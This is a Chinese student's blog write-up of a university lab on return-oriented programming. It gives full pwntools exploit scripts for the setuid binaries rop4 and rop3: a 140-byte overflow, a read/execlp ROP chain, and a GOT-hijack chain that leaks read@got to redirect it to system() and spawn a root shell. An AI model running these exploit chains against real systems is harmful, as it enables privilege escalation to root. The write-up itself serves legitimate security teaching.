【安全攻防综合实验10】ROP攻击

Posted by 慕念 on November 17, 2021

【实验目的】

  • 本实验所用虚拟机上有一个具有缓冲区溢出漏洞的可执行程序,rop4,具有’s’属性。提供该执行程序的源码rop4.c。
  • 该程序采用了NX保护机制,栈不可执行;采用了静态编译选项生成。另外一个rop4_dynamic采用动态编译选项,也可尝试(两者任选一个)。
  • 要求学生在linux上编程,并利用相关调试工具,编写出一个利用该漏洞程序的工具(exploit),获得带有root权限的shell,显示flag(不可用其他实验获得root显示flag)。
  • 编程语言不限,脚本也可,gcc和python环境已具备,若用其他编程语言请自行下载相关编程语言支持环境。
  • 采用ROP方法,可以得40分。若只是采用普通溢出方法,得30分。
  • 加分项:在课堂时间内,完成导入课程10.2 ROP链-GOT表利用,可以得到5的加分。

【实验步骤】

一、基础题

1、思路

首先通过checksec查看rop4的信息,开启了NX(栈不可执行),但是没有开canary和PIE。

image-20211115190316380

再看rop4.c

image-20211117100223321

可以利用read(), execlp()和全局变量exec_string[20]

思路:

payload=填充字符+read地址+Gadgets地址(pppr)+read参数*3+execlp地址+4个填充字符"JUNK"+execlp参数*3

更具体一点:

payload="A"*140+read地址+Gadgets地址(pppr)+0+exec_string地址+9+execlp地址+4个填充字符"JUNK"+exec_string地址+exec_string地址+0

栈上结构:

2、过程

确定padding
python -c 'print "A"*140 + "BBBB"' | strace ./rop4

前面的payload需要填充140bytes才能填到return address

image-20211115214628248

找ROP Gadget

ROPgadget --binary rop4 --only "pop|ret"

因为32位机器是从栈上传参的,所以read地址上面需要放read的三个参数。为了不妨碍这三个参数影响后续的执行,当read介绍要return的时候指向pop三次再ret的gadget地址,让这三个参数出栈。

image-20211115232018410

找到:0x0809cd25 : pop ebp ; pop esi ; pop edi ; ret

确定函数和全局变量的位置

可以直接利用pwn中的工具

code = ELF("./rop4")
read_addr = code.symbols['__libc_read']
execlp_addr = code.symbols['execlp']
char_addr = code.symbols['exec_string']
exec_the_string = code.symbols['exec_the_string']
构造payload
方法一(execlp):
# coding=UTF-8

from pwn import *
context(os='linux', arch='i386', log_level='debug')

code = ELF("./rop4")
p = process('./rop4')

read_addr = code.symbols['__libc_read']
execlp_addr = code.symbols['execlp']
char_addr = code.symbols['exec_string']
pppr = 0x0809cd25

# 填充

payload = b"A"*140

# read(0,&exec_string,9)

# 把"/bin/bash"读入&exec_string

payload += p32(read_addr)+p32(pppr)+p32(0x0)+p32(char_addr)+p32(0x09)

# 调用execlp执行,execlp(exec_string,exec_string,0)

payload += p32(execlp_addr)+b"JUNK"+p32(char_addr)+p32(char_addr)+p32(0x0)

p.sendline(payload)
p.send(b"/bin/bash")
p.interactive()

运行截图:

image-20211117105117774

方法二(exec_the_string):
# coding=UTF-8

from pwn import *
context(os='linux', arch='i386', log_level='debug')

code = ELF("./rop4")
p = process('./rop4')

read_addr = code.symbols['__libc_read']
char_addr = code.symbols['exec_string']
exec_the_string = code.symbols['exec_the_string']

pppr = 0x0809cd25

# 填充

payload = b"A"*140

# read(0,&exec_string,9)

# 把"/bin/bash"读入&exec_string

payload += p32(read_addr)+p32(pppr)+p32(0x0)+p32(char_addr)+p32(0x09)

# 调用exec_the_string()

payload += p32(exec_the_string)

p.sendline(payload)
p.send(b"/bin/bash")
p.interactive()

image-20211117105224509


二、加分项

1、思路

首先看代码,这道题和ROP4的区别是:

①没有函数execlp(exec_string, exec_string, NULL);

②没有全局变量char exec_string[20];

这导致了没有办法像rop4那样跳转到一个函数执行/bin/bash,并且没有一个现有的地方写入/bin/bash

所以需要用到GOT表劫持和.bss段。

GOT表劫持的核心目的是通过修改GOT表中的函数地址为其他我们期望的地址,从而达到执行该函数时,通过跳转到GOT表,从而跳转到我们修改过的地址去执行指令。

首先通过readelf -S rop3查看GOT表是否可以写:

image-20211117110901122

.got.got.plt都是可写的。

.got中存放的是外部全局变量的GOT表,例如stdin/stdout/stderr,非延时绑定。 .got.plt中存放的是外部函数的GOT表,例如printf函数,延时绑定。

再通过objdump -R rop3查看,可以看到read@got和write@got都是可以劫持的,这里选择read@got:

image-20211117111522789

gdb rop3在运行后用vmmap查看内存,找到可写的.bss段:

image-20211116210407601

确定总体思路:

1、将return address改成read@plt并在.bss区域写入“/bin/bash”(后面send),read(0, .bss, 9)

2、调用write@plt来读取read@got,输出到屏幕,write(1, read_got, 4)

3、调用read@plt,read(0,read_got,4),目的是把在read_got的地址写上system()的地址,根据recv的的read_got的地址-固定偏移offset,即system()地址(后面send)

4、这时read@got已经改成system(),再调用read()就会执行system()system()的参数是之前写在.bss段的”/bin/sh”,中间需要加4bytes的JUNK

2、过程

确定padding

同rop4

python -c 'print ("A"*140 + "BBBB")' | strace ./rop3

image-20211116203932993

和rop4一样需要先填充140bytes。

找ROP Gadget
ROPgadget --binary rop3 --only "pop|ret"

image-20211116211908557

获取偏移offset
gdb rop3
......
pwndbg> b main
Breakpoint 1 at 0x80484c9
pwndbg> r

image-20211117112759540

所以offset=0xf7ef1860-0xf7e44f10=0xac950

构造payload
# coding=UTF-8

from pwn import *
context(os='linux', arch='i386', log_level='debug')

p = process("./rop3")
code = ELF("./rop3")

read_plt = code.plt['read']
read_got = code.got['read']
write_plt = code.plt['write']
write_got = code.got['write']

bin_bash = "/bin/bash"
pppr = 0x0804855d
offset = 0xAC950

payload = b"A"*140

# 将return address改成read@plt并在.bss区域写入“/bin/bash”(后面send) 

# read(0,.bss,9) 

payload += p32(read_plt)+p32(pppr)+p32(0x0)+p32(code.bss())+p32(0x9)

# 调用write@plt来读取read@got,输出到屏幕

# write(1,read_got,4)

payload += p32(write_plt)+p32(pppr)+p32(0x1)+p32(read_got)+p32(0x4)

# 调用read@plt,read(0,read_got,4)

# 目的是把在read_got的地址写上system()的地址

# 根据上一步显示的read_got的位置-固定偏移offset,即system()地址(后面send)

payload += p32(read_plt)+p32(pppr)+p32(0x0)+p32(read_got)+p32(0x4)

# 这时read@got已经改成system(),再调用read()就会执行system()

# system()的参数是之前写在.bss段的"/bin/bash"

# 中间需要加4bytes的JUNK

payload += p32(read_plt)+b"JUNK"+p32(code.bss())

p.send(payload)
p.send(bin_bash)

system = u32(p.recv(4)) - offset
# print(hex(system))

p.sendline(p32(system))

p.interactive()

运行截图:

image-20211117112706571

三、一点思考

在这次的两个实验rop3和rop4中都测试过,输入/bin/bash/bin/sh在CentOS和ubuntu上都可以。源代码中有这样一段话:

        // /bin/sh is usually symlinked to bash, which usually drops privs. Make
        // sure we don't drop privs if we exec bash, (ie if we call system()).

问了老师之后又查了一下:/bin/sh 在大多数 GNU/Linux 系统上用于指向/bin/bash,比如说默认情况下现代 Debian 和 Ubuntu 系统,它们的符号链接都是从/sh指向/bash

老师说也可以指向/bin/date,因为这样会有回显,如果用/bin/bash则没有回显,只有输入正确的命令后才可以看到是否攻击成功。

如果用pwn写py脚本的话,如果攻击失败,最后会直接GOT EOF,所以可以很方便地看出是否攻击成功。